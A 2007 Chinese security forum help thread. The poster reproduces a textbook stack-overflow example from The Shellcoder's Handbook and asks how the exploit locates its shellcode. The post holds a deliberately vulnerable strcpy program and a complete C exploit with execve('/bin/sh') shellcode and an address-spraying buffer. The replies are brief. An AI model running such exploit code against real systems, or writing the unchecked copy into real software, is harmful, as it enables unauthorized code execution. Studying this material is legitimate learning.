首页
社区
课程
招聘
[求助]老大们帮我看看shellcoder's handbook中的一个例子
发表于: 2007-5-10 10:57 5008

[求助]老大们帮我看看shellcoder's handbook中的一个例子

2007-5-10 10:57
5008
第二章中的一个例子

被破解程序是
int main(int argc,char **argv)
{
char little_array[512];

if(argc>1)
   strcpy(little_array,argv[1]);

}

破解程序是
#include <stdlib.h>

#define offset_size 0
#define buffer_size 512

char sc[] =
    "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
     "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
     "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long find_start(void){
__asm__("movl %esp,%eax");
}

int main(int argc,char *argv[])
{
char *buff,*ptr;
long *addr_ptr,addr;
int offset=offset_size,bsize=buffer_size;
int i;

if(argc>1) bsize=atoi(argv[1]);
if(argc>2) offset=atoi(argv[2]);

addr=find_start()-offset;
printf("Attemping address:0x%x\n",addr);

if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
  }

ptr=buff;
addr_ptr=(long *)ptr;

for(i=0;i<bsize;i+=4)
        *(addr_ptr++)=addr;

ptr+=4;

for(i=0;i<strlen(sc);i++)
        *(ptr++)=sc[i];

buff[bsize-1]='\0';

memcpy(buff,"BUF=",4);
printf("5:%s\n",buff);
printf("\n%d\n",strlen(buff));
putenv(buff);
system("/bin/bash");
}

这个例子我按照书书上的方法,通过不了,我主要想知道,程序是怎么得到shellcode的地址的,望老大们讲解一哈,这是第一个破解程序,希望大家帮帮忙

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费
支持
分享
最新回复 (3)
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
怎么没人回复啊,大家帮帮忙撒,
2007-5-10 14:07
0
雪    币: 209
活跃值: (72)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
3
这跟破解没有什么关系,baidu一下溢出教程啊,
2007-5-11 15:08
0
雪    币: 232
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
支持支持~
帮顶
2007-5-11 21:06
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册